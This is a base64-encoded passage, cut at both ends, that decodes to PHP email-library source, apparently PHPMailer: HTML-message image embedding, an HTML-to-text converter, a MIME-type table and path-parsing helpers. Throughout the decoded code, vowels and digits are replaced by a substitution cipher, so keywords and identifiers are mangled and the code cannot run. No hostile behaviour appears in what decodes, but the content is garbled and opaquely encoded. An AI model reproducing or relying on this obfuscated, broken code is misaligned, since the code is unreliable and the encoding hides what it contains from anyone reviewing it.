jaCgnI15kMXQxOig0bTFnNVteOyxdKikoO2IxczVldSk/LCMnLCAkM3JsLCAkbTF0Y2gpKSB7DQogICAgICAgICAgICAgICAgICAgICRkMXQxID0gczNic3RyKCQzcmwsIHN0cnAycygkM3JsLCAnLCcpKTsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCRtMXRjaFthXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGQxdDEgPSBiMXM1ZXVfZDVjMmQ1KCRkMXQxKTsNCiAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkMXQxID0gcjF3M3JsZDVjMmQ1KCRkMXQxKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkYzRkID0gbWRpKCQzcmwpIC4gJ0BwaHBtMTRsNXIuMCc7IC8vIFJGQ2FvOWEgUyBhDQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+MWRkU3RyNG5nRW1iNWRkNWRJbTFnNSgkZDF0MSwgJGM0ZCwgJzVtYjVkJyAuICQ0bWc0bmQ1eCwgJ2IxczVldScsICRtMXRjaFs2XSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1ID0gc3RyX3I1cGwxYzUoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDRtMWc1c1swXVskNG1nNG5kNXhdLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0bTFnNXNbNl1bJDRtZzRuZDV4XSAuICc9ImM0ZDonIC4gJGM0ZCAuICciJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbTVzczFnNQ0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNTRmIChzM2JzdHIoJDNybCwgMCwgdSkgIT09ICdjNGQ6JyAmJiAhcHI1Z19tMXRjaCgnI15bQS16XSs6Ly8jJywgJDNybCkpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gRDIgbjJ0IGNoMW5nNSAzcmxzIGYyciAxYnMybDN0NSA0bTFnNXMgKHRoMW5rcyB0MiBjMnJ2M3NjMnIxeCkNCiAgICAgICAgICAgICAgICAgICAgLy8gRDIgbjJ0IGNoMW5nNSAzcmxzIHRoMXQgMXI1IDFscjUxZHkgNG5sNG41IDRtMWc1cw0KICAgICAgICAgICAgICAgICAgICAkZjRsNW4xbTUgPSBiMXM1bjFtNSgkM3JsKTsNCiAgICAgICAgICAgICAgICAgICAgJGQ0cjVjdDJyeSA9IGQ0cm4xbTUoJDNybCk7DQogICAgICAgICAgICAgICAgICAgIDRmICgkZDRyNWN0MnJ5ID09ICcuJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGQ0cjVjdDJyeSA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRjNGQgPSBtZGkoJDNybCkgLiAnQHBocG0xNGw1ci4wJzsgLy8gUkZDYW85YSBTIGENCiAgICAgICAgICAgICAgICAgICAgNGYgKHN0cmw1bigkYjFzNWQ0cikgPiA2ICYmIHMzYnN0cigkYjFzNWQ0ciwgLTYpICE9ICcvJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGIxczVkNHIgLj0gJy8nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmIChzdHJsNW4oJGQ0cjVjdDJyeSkgPiA2ICYmIHMzYnN0cigkZDRyNWN0MnJ5LCAtNikgIT0gJy8nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZDRyNWN0MnJ5IC49ICcvJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPjFkZEVtYjVkZDVkSW0xZzUoDQogICAgICAgICAgICAgICAgICAgICAgICAkYjFzNWQ0ciAuICRkNHI1Y3QycnkgLiAkZjRsNW4xbTUsDQogICAgICAgICAgICAgICAgICAgICAgICAkYzRkLA0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDVuMW01LA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2IxczVldScsDQogICAgICAgICAgICAgICAgICAgICAgICBzNWxmOjpfbTRtNV90eXA1cygoc3RyNG5nKXM1bGY6Om1iX3AxdGg0bmYyKCRmNGw1bjFtNSwgUEFUSElORk9fRVhURU5TSU9OKSkNCiAgICAgICAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1ID0gcHI1Z19yNXBsMWM1KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcvJyAuICQ0bTFnNXNbNl1bJDRtZzRuZDV4XSAuICc9WyJcJ10nIC4gcHI1Z19xMzJ0NSgkM3JsLCAnLycpIC4gJ1siXCddL1U0JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNG0xZzVzWzZdWyQ0bWc0bmQ1eF0gLiAnPSJjNGQ6JyAuICRjNGQgLiAnIicsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG01c3MxZzUNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHRoNHMtPjRzSFRNTCh0cjM1KTsNCiAgICAgICAgLy8gQzJudjVydCAxbGwgbTVzczFnNSBiMmR5IGw0bjUgYnI1MWtzIHQyIENSTEYsIG0xazVzIHEzMnQ1ZC1wcjRudDFibDUgNW5jMmQ0bmcgdzJyayBtM2NoIGI1dHQ1cg0KICAgICAgICAkdGg0cy0+QjJkeSA9ICR0aDRzLT5uMnJtMWw0ejVCcjUxa3MoJG01c3MxZzUpOw0KICAgICAgICAkdGg0cy0+QWx0QjJkeSA9ICR0aDRzLT5uMnJtMWw0ejVCcjUxa3MoJHRoNHMtPmh0bWxhdDV4dCgkbTVzczFnNSwgJDFkdjFuYzVkKSk7DQogICAgICAgIDRmICg1bXB0eSgkdGg0cy0+QWx0QjJkeSkpIHsNCiAgICAgICAgICAgICR0aDRzLT5BbHRCMmR5ID0gJ1QyIHY0NXcgdGg0cyA1bTE0bCBtNXNzMWc1LCAycDVuIDR0IDRuIDEgcHIyZ3IxbSB0aDF0IDNuZDVyc3QxbmRzIEhUTUwhJyAuDQogICAgICAgICAgICAgICAgczVsZjo6Q1JMRiAuIHM1bGY6OkNSTEY7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICR0aDRzLT5CMmR5Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEMybnY1cnQgMW4gSFRNTCBzdHI0bmcgNG50MiBwbDE0biB0NXh0Lg0KICAgICAqIFRoNHMgNHMgM3M1ZCBieSBtc2dIVE1MKCkuDQogICAgICogTjJ0NSAtIDJsZDVyIHY1cnM0Mm5zIDJmIHRoNHMgZjNuY3Q0Mm4gM3M1ZCAxIGIzbmRsNWQgMWR2MW5jNWQgYzJudjVydDVyDQogICAgICogd2g0Y2ggdzFzIGI1NW4gcjVtMnY1ZCBmMnIgbDRjNW5zNSByNTFzMm5zIDRuICNhb2ENCiAgICAgKiBFeDFtcGw1IDNzMWc1Og0KICAgICAqIDxjMmQ1Pg0KICAgICAqIC8vIFVzNSBkNWYxM2x0IGMybnY1cnM0Mm4NCiAgICAgKiAkcGwxNG4gPSAkbTE0bC0+aHRtbGF0NXh0KCRodG1sKTsNCiAgICAgKiAvLyBVczUgeTIzciAyd24gYzNzdDJtIGMybnY1cnQ1cg0KICAgICAqICRwbDE0biA9ICRtMTRsLT5odG1sYXQ1eHQoJGh0bWwsIGYzbmN0NDJuKCRodG1sKSB7DQogICAgICogICAgICRjMm52NXJ0NXIgPSBuNXcgTXlIdG1sYXQ1eHQoJGh0bWwpOw0KICAgICAqICAgICByNXQzcm4gJGMybnY1cnQ1ci0+ZzV0X3Q1eHQoKTsNCiAgICAgKiB9KTsNCiAgICAgKiA8L2MyZDU+DQogICAgICogQHAxcjFtIHN0cjRuZyAkaHRtbCBUaDUgSFRNTCB0NXh0IHQyIGMybnY1cnQNCiAgICAgKiBAcDFyMW0gYjIybDUxbnxjMWxsMWJsNSAkMWR2MW5jNWQgQW55IGIyMmw1MW4gdjFsMzUgdDIgM3M1IHRoNSA0bnQ1cm4xbCBjMm52NXJ0NXIsDQogICAgICogICAyciBwcjJ2NGQ1IHkyM3IgMnduIGMxbGwxYmw1IGYyciBjM3N0Mm0gYzJudjVyczQybi4NCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBodG1sYXQ1eHQoJGh0bWwsICQxZHYxbmM1ZCA9IGYxbHM1KQ0KICAgIHsNCiAgICAgICAgNGYgKDRzX2MxbGwxYmw1KCQxZHYxbmM1ZCkpIHsNCiAgICAgICAgICAgIHI1dDNybiBjMWxsXzNzNXJfZjNuYygkMWR2MW5jNWQsICRodG1sKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gaHRtbF81bnQ0dHlfZDVjMmQ1KA0KICAgICAgICAgICAgdHI0bShzdHI0cF90MWdzKHByNWdfcjVwbDFjNSgnLzwoaDUxZHx0NHRsNXxzdHlsNXxzY3I0cHQpW14+XSo+Lio/PFwvXFw2Pi9zNCcsICcnLCAkaHRtbCkpKSwNCiAgICAgICAgICAgIEVOVF9RVU9URVMsDQogICAgICAgICAgICAkdGg0cy0+Q2gxclM1dA0KICAgICAgICApOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCB0aDUgTUlNRSB0eXA1IGYyciAxIGY0bDUgNXh0NW5zNDJuLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDV4dCBGNGw1IDV4dDVuczQybg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcgTUlNRSB0eXA1IDJmIGY0bDUuDQogICAgICogQHN0MXQ0Yw0KICAgICAqLw0KICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gX200bTVfdHlwNXMoJDV4dCA9ICcnKQ0KICAgIHsNCiAgICAgICAgJG00bTVzID0gMXJyMXkoDQogICAgICAgICAgICAneGwnICAgID0+ICcxcHBsNGMxdDQybi81eGM1bCcsDQogICAgICAgICAgICAnanMnICAgID0+ICcxcHBsNGMxdDQybi9qMXYxc2NyNHB0JywNCiAgICAgICAgICAgICdocXgnICAgPT4gJzFwcGw0YzF0NDJuL20xYy1iNG5oNXh1MCcsDQogICAgICAgICAgICAnY3B0JyAgID0+ICcxcHBsNGMxdDQybi9tMWMtYzJtcDFjdHByMicsDQogICAgICAgICAgICAnYjRuJyAgID0+ICcxcHBsNGMxdDQybi9tMWNiNG4xcnknLA0KICAgICAgICAgICAgJ2QyYycgICA9PiAnMXBwbDRjMXQ0Mm4vbXN3MnJkJywNCiAgICAgICAgICAgICd3MnJkJyAgPT4gJzFwcGw0YzF0NDJuL21zdzJyZCcsDQogICAgICAgICAgICAneGxzeCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQuc3ByNTFkc2g1NXRtbC5zaDU1dCcsDQogICAgICAgICAgICAneGx0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQuc3ByNTFkc2g1NXRtbC50NW1wbDF0NScsDQogICAgICAgICAgICAncDJ0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQucHI1czVudDF0NDJubWwudDVtcGwxdDUnLA0KICAgICAgICAgICAgJ3Bwc3gnICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLjJwNW54bWxmMnJtMXRzLTJmZjRjNWQyYzNtNW50LnByNXM1bnQxdDQybm1sLnNsNGQ1c2gydycsDQogICAgICAgICAgICAncHB0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQucHI1czVudDF0NDJubWwucHI1czVudDF0NDJuJywNCiAgICAgICAgICAgICdzbGR4JyAgPT4gJzFwcGw0YzF0NDJuL3ZuZC4ycDVueG1sZjJybTF0cy0yZmY0YzVkMmMzbTVudC5wcjVzNW50MXQ0Mm5tbC5zbDRkNScsDQogICAgICAgICAgICAnZDJjeCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQudzJyZHByMmM1c3M0bmdtbC5kMmMzbTVudCcsDQogICAgICAgICAgICAnZDJ0eCcgID0+ICcxcHBsNGMxdDQybi92bmQuMnA1bnhtbGYycm0xdHMtMmZmNGM1ZDJjM201bnQudzJyZHByMmM1c3M0bmdtbC50NW1wbDF0NScsDQogICAgICAgICAgICAneGwxbScgID0+ICcxcHBsNGMxdDQybi92bmQubXMtNXhjNWwuMWRkNG4ubTFjcjJFbjFibDVkLjZhJywNCiAgICAgICAgICAgICd4bHNiJyAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tcy01eGM1bC5zaDU1dC5iNG4xcnkubTFjcjJFbjFibDVkLjZhJywNCiAgICAgICAgICAgICdjbDFzcycgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnZGxsJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ2RtcycgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICc1eDUnICAgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnbGgxJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ2x6aCcgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICdwc2QnICAgPT4gJzFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbScsDQogICAgICAgICAgICAnczUxJyAgID0+ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nLA0KICAgICAgICAgICAgJ3MyJyAgICA9PiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICcyZDEnICAgPT4gJzFwcGw0YzF0NDJuLzJkMScsDQogICAgICAgICAgICAncGRmJyAgID0+ICcxcHBsNGMxdDQybi9wZGYnLA0KICAgICAgICAgICAgJzE0JyAgICA9PiAnMXBwbDRjMXQ0Mm4vcDJzdHNjcjRwdCcsDQogICAgICAgICAgICAnNXBzJyAgID0+ICcxcHBsNGMxdDQybi9wMnN0c2NyNHB0JywNCiAgICAgICAgICAgICdwcycgICAgPT4gJzFwcGw0YzF0NDJuL3Ayc3RzY3I0cHQnLA0KICAgICAgICAgICAgJ3NtNCcgICA9PiAnMXBwbDRjMXQ0Mm4vc200bCcsDQogICAgICAgICAgICAnc200bCcgID0+ICcxcHBsNGMxdDQybi9zbTRsJywNCiAgICAgICAgICAgICdtNGYnICAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tNGYnLA0KICAgICAgICAgICAgJ3hscycgICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLm1zLTV4YzVsJywNCiAgICAgICAgICAgICdwcHQnICAgPT4gJzFwcGw0YzF0NDJuL3ZuZC5tcy1wMnc1cnAyNG50JywNCiAgICAgICAgICAgICd3YnhtbCcgPT4gJzFwcGw0YzF0NDJuL3ZuZC53MXAud2J4bWwnLA0KICAgICAgICAgICAgJ3dtbGMnICA9PiAnMXBwbDRjMXQ0Mm4vdm5kLncxcC53bWxjJywNCiAgICAgICAgICAgICdkY3InICAgPT4gJzFwcGw0YzF0NDJuL3gtZDRyNWN0MnInLA0KICAgICAgICAgICAgJ2Q0cicgICA9PiAnMXBwbDRjMXQ0Mm4veC1kNHI1Y3QycicsDQogICAgICAgICAgICAnZHhyJyAgID0+ICcxcHBsNGMxdDQybi94LWQ0cjVjdDJyJywNCiAgICAgICAgICAgICdkdjQnICAgPT4gJzFwcGw0YzF0NDJuL3gtZHY0JywNCiAgICAgICAgICAgICdndDFyJyAgPT4gJzFwcGw0YzF0NDJuL3gtZ3QxcicsDQogICAgICAgICAgICAncGhwbycgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwdScgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwJyAgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGh0bWwnID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocCcsDQogICAgICAgICAgICAncGhwcycgID0+ICcxcHBsNGMxdDQybi94LWh0dHBkLXBocC1zMjNyYzUnLA0KICAgICAgICAgICAgJ3N3ZicgICA9PiAnMXBwbDRjMXQ0Mm4veC1zaDJja3cxdjUtZmwxc2gnLA0KICAgICAgICAgICAgJ3M0dCcgICA9PiAnMXBwbDRjMXQ0Mm4veC1zdDNmZjR0JywNCiAgICAgICAgICAgICd0MXInICAgPT4gJzFwcGw0YzF0NDJuL3gtdDFyJywNCiAgICAgICAgICAgICd0Z3onICAgPT4gJzFwcGw0YzF0NDJuL3gtdDFyJywNCiAgICAgICAgICAgICd4aHQnICAgPT4gJzFwcGw0YzF0NDJuL3hodG1sK3htbCcsDQogICAgICAgICAgICAneGh0bWwnID0+ICcxcHBsNGMxdDQybi94aHRtbCt4bWwnLA0KICAgICAgICAgICAgJ3o0cCcgICA9PiAnMXBwbDRjMXQ0Mm4vejRwJywNCiAgICAgICAgICAgICdtNGQnICAgPT4gJzEzZDQyL200ZDQnLA0KICAgICAgICAgICAgJ200ZDQnICA9PiAnMTNkNDIvbTRkNCcsDQogICAgICAgICAgICAnbXBhJyAgID0+ICcxM2Q0Mi9tcDVnJywNCiAgICAgICAgICAgICdtcG8nICAgPT4gJzEzZDQyL21wNWcnLA0KICAgICAgICAgICAgJ21wZzEnICA9PiAnMTNkNDIvbXA1ZycsDQogICAgICAgICAgICAnMTRmJyAgID0+ICcxM2Q0Mi94LTE0ZmYnLA0KICAgICAgICAgICAgJzE0ZmMnICA9PiAnMTNkNDIveC0xNGZmJywNCiAgICAgICAgICAgICcxNGZmJyAgPT4gJzEzZDQyL3gtMTRmZicsDQogICAgICAgICAgICAncjFtJyAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0MicsDQogICAgICAgICAgICAncm0nICAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0MicsDQogICAgICAgICAgICAncnBtJyAgID0+ICcxM2Q0Mi94LXBuLXI1MWwxM2Q0Mi1wbDNnNG4nLA0KICAgICAgICAgICAgJ3IxJyAgICA9PiAnMTNkNDIveC1yNTFsMTNkNDInLA0KICAgICAgICAgICAgJ3cxdicgICA9PiAnMTNkNDIveC13MXYnLA0KICAgICAgICAgICAgJ2JtcCcgICA9PiAnNG0xZzUvYm1wJywNCiAgICAgICAgICAgICdnNGYnICAgPT4gJzRtMWc1L2c0ZicsDQogICAgICAgICAgICAnanA1ZycgID0+ICc0bTFnNS9qcDVnJywNCiAgICAgICAgICAgICdqcDUnICAgPT4gJzRtMWc1L2pwNWcnLA0KICAgICAgICAgICAgJ2pwZycgICA9PiAnNG0xZzUvanA1ZycsDQogICAgICAgICAgICAncG5nJyAgID0+ICc0bTFnNS9wbmcnLA0KICAgICAgICAgICAgJ3Q0ZmYnICA9PiAnNG0xZzUvdDRmZicsDQogICAgICAgICAgICAndDRmJyAgID0+ICc0bTFnNS90NGZmJywNCiAgICAgICAgICAgICc1bWwnICAgPT4gJ201c3MxZzUvcmZjOGFhJywNCiAgICAgICAgICAgICdjc3MnICAgPT4gJ3Q1eHQvY3NzJywNCiAgICAgICAgICAgICdodG1sJyAgPT4gJ3Q1eHQvaHRtbCcsDQogICAgICAgICAgICAnaHRtJyAgID0+ICd0NXh0L2h0bWwnLA0KICAgICAgICAgICAgJ3NodG1sJyA9PiAndDV4dC9odG1sJywNCiAgICAgICAgICAgICdsMmcnICAgPT4gJ3Q1eHQvcGwxNG4nLA0KICAgICAgICAgICAgJ3Q1eHQnICA9PiAndDV4dC9wbDE0bicsDQogICAgICAgICAgICAndHh0JyAgID0+ICd0NXh0L3BsMTRuJywNCiAgICAgICAgICAgICdydHgnICAgPT4gJ3Q1eHQvcjRjaHQ1eHQnLA0KICAgICAgICAgICAgJ3J0ZicgICA9PiAndDV4dC9ydGYnLA0KICAgICAgICAgICAgJ3ZjZicgICA9PiAndDV4dC92YzFyZCcsDQogICAgICAgICAgICAndmMxcmQnID0+ICd0NXh0L3ZjMXJkJywNCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3Q1eHQveG1sJywNCiAgICAgICAgICAgICd4c2wnICAgPT4gJ3Q1eHQveG1sJywNCiAgICAgICAgICAgICdtcDVnJyAgPT4gJ3Y0ZDUyL21wNWcnLA0KICAgICAgICAgICAgJ21wNScgICA9PiAndjRkNTIvbXA1ZycsDQogICAgICAgICAgICAnbXBnJyAgID0+ICd2NGQ1Mi9tcDVnJywNCiAgICAgICAgICAgICdtMnYnICAgPT4gJ3Y0ZDUyL3EzNGNrdDRtNScsDQogICAgICAgICAgICAncXQnICAgID0+ICd2NGQ1Mi9xMzRja3Q0bTUnLA0KICAgICAgICAgICAgJ3J2JyAgICA9PiAndjRkNTIvdm5kLnJuLXI1MWx2NGQ1MicsDQogICAgICAgICAgICAnMXY0JyAgID0+ICd2NGQ1Mi94LW1zdjRkNTInLA0KICAgICAgICAgICAgJ20ydjQ1JyA9PiAndjRkNTIveC1zZzQtbTJ2NDUnDQogICAgICAgICk7DQogICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKHN0cnQybDJ3NXIoJDV4dCksICRtNG01cykpIHsNCiAgICAgICAgICAgIHI1dDNybiAkbTRtNXNbc3RydDJsMnc1cigkNXh0KV07DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIE0xcCAxIGY0bDUgbjFtNSB0MiAxIE1JTUUgdHlwNS4NCiAgICAgKiBENWYxM2x0cyB0MiAnMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywgNC41Li4gMXJiNHRyMXJ5IGI0bjFyeSBkMXQxLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGY0bDVuMW01IEEgZjRsNSBuMW01IDJyIGYzbGwgcDF0aCwgZDI1cyBuMnQgbjU1ZCB0MiA1eDRzdCAxcyAxIGY0bDUNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqIEBzdDF0NGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIGY0bDVuMW01VDJUeXA1KCRmNGw1bjFtNSkNCiAgICB7DQogICAgICAgIC8vIEluIGMxczUgdGg1IHAxdGggNHMgMSBVUkwsIHN0cjRwIDFueSBxMzVyeSBzdHI0bmcgYjVmMnI1IGc1dHQ0bmcgNXh0NW5zNDJuDQogICAgICAgICRxcDJzID0gc3RycDJzKCRmNGw1bjFtNSwgJz8nKTsNCiAgICAgICAgNGYgKGYxbHM1ICE9PSAkcXAycykgew0KICAgICAgICAgICAgJGY0bDVuMW01ID0gczNic3RyKCRmNGw1bjFtNSwgMCwgJHFwMnMpOw0KICAgICAgICB9DQogICAgICAgICRwMXRoNG5mMiA9IHM1bGY6Om1iX3AxdGg0bmYyKCRmNGw1bjFtNSk7DQogICAgICAgIHI1dDNybiBzNWxmOjpfbTRtNV90eXA1cygkcDF0aDRuZjJbJzV4dDVuczQybiddKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBNM2x0NC1ieXQ1LXMxZjUgcDF0aDRuZjIgcjVwbDFjNW01bnQuDQogICAgICogRHIycC00biByNXBsMWM1bTVudCBmMnIgcDF0aDRuZjIoKSwgYjN0IG0zbHQ0Ynl0NS1zMWY1LCBjcjJzcy1wbDF0ZjJybS1zMWY1LCAybGQtdjVyczQybi1zMWY1Lg0KICAgICAqIFcycmtzIHM0bTRsMXJseSB0MiB0aDUgMm41IDRuIFBIUCA+PSBpLmEuMA0KICAgICAqIEBsNG5rIGh0dHA6Ly93d3cucGhwLm41dC9tMW4zMWwvNW4vZjNuY3Q0Mm4ucDF0aDRuZjIucGhwIzYwN3VlNg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHAxdGggQSBmNGw1bjFtNSAyciBwMXRoLCBkMjVzIG4ydCBuNTVkIHQyIDV4NHN0IDFzIDEgZjRsNQ0KICAgICAqIEBwMXIxbSA0bnQ1ZzVyfHN0cjRuZyAkMnB0NDJucyBFNHRoNXIgMSBQQVRISU5GT18qIGMybnN0MW50LA0KICAgICAqICAgICAgMnIgMSBzdHI0bmcgbjFtNSB0MiByNXQzcm4gMm5seSB0aDUgc3A1YzRmNDVkIHA0NWM1LCAxbGwyd3MgJ2Y0bDVuMW01JyB0MiB3MnJrIDJuIFBIUCA8IGkuYQ0KICAgICAqIEByNXQzcm4gc3RyNG5nfDFycjF5DQogICAgICogQHN0MXQ0Yw0KICAgICAqLw0KICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gbWJfcDF0aDRuZjIoJHAxdGgsICQycHQ0Mm5zID0gbjNsbCkNCiAgICB7DQogICAgICAgICRyNXQgPSAxcnIxeSgnZDRybjFtNScgPT4gJycsICdiMXM1bjFtNScgPT4gJycsICc1eHQ1bnM0Mm4nID0+ICcnLCAnZjRsNW4xbTUnID0+ICcnKTsNCiAgICAgICAgJHAxdGg0bmYyID0gMXJyMXkoKTsNCiAgICAgICAgNGYgKHByNWdfbTF0Y2goJyVeKC4qPylbXFxcXC9dKigoW14vXFxcXF0qPykoXC4oW15cLlxcXFwvXSs/KXwpKVtcXFxcL1wuXSokJTRtJywgJHAxdGgsICRwMXRoNG5mMikpIHsNCiAgICAgICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKDYsICRwMXRoNG5mMikpIHsNCiAgICAgICAgICAgICAgICAkcjV0WydkNHJuMW01J10gPSAkcDF0aDRuZjJbNl07DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZiAoMXJyMXlfazV5XzV4NHN0cyhhLCAkcDF0aDRuZjIpKSB7DQogICAgICAgICAgICAgICAgJHI1dFsnYjFzNW4xbTUnXSA9ICRwMXRoNG5mMlthXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKGksICRwMXRoNG5mMikpIHsNCiAgICAgICAgICAgICAgICAkcjV0Wyc1eHQ1bnM0Mm4nXSA9ICRwMXRoNG5mMltpXTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmICgxcnIxeV9rNXlfNXg0c3RzKG8sICRwMXRoNG5mMikpIHsNCiAgICAgICAgICAgICAgICAkcjV0WydmNGw1bjFtNSddID0gJHAxdGg0bmYyW29dOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHN3NHRjaCAoJDJwdDQybnMpIHsNCiAgICAgICAgICAgIGMxczUgUEFUSElORk9fRElSTkFNRToNCiAgICAgICAgICAgIGMxczUgJ2Q0cm4xbTUnOg0KICAgICAgICAgICAgICAgIHI1dDNybiAkcjV0WydkNHJuMW01J107DQogICAgICAgICAgICBjMXM1IFBBVEhJTkZPX0JBU0VOQU1FOg0KICAgICAgICAgICAgYzFzNSAnYjFzNW4xbTUnOg0KICAgICAgICAgICAgICAgIHI1dDNybiAkcjV0WydiMXM1bjFtNSddOw0KICAgICAgICAgICAgYzFzNSBQQVRISU5GT19FWFRFTlNJT046DQogICAgICAgICAgICBjMXM1ICc1eHQ1bnM0Mm4nOg0KICAgICAgICAgICAgICAgIHI1dDNybiAkcjV0Wyc1eHQ1bnM0Mm4nXTsNCiAgICAgICAgICAgIGMxczUgUEFUSElORk9fRklMRU5BTUU6DQogICAgICAgICAgICBjMXM1ICdmNGw1bjFtNSc6DQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXRbJ2Y0bDVuMW01J107DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIHI1dDNybiAkcjV0Ow0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IDJyIHI1czV0IDRuc3QxbmM1IHByMnA1cnQ0NXMuDQogICAgICogWTIzIHNoMjNsZCAxdjI0ZCB0aDRzIGYzbmN0NDJuIC0gNHQncyBtMnI1IHY1cmIyczUsIGw1c3MgNWZmNGM0NW50LCBtMnI1IDVycjJyLXByMm41IDFuZA0KICAgICAqIGgxcmQ1ciB0MiBkNWIzZyB0aDFuIHM1dHQ0bmcgcHIycDVydDQ1cyBkNHI1Y3RseS4NCiAgICAgKiBVczFnNSBFeDFtcGw1Og0KICAgICAqIGAkbTE0bC0+czV0KCdTTVRQUzVjM3I1JywgJ3RscycpO2ANCiAgICAgKiAgIDRzIHRoNSBzMW01IDFzOg0KICAgICAqIGAkbTE0bC0+U01UUFM1YzNyNSA9ICd0bHMnO2ANCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUgVGg1IHByMnA1cnR5IG4xbTUgdDIgczV0DQogICAgICogQHAxcjFtIG00eDVkICR2MWwzNSBUa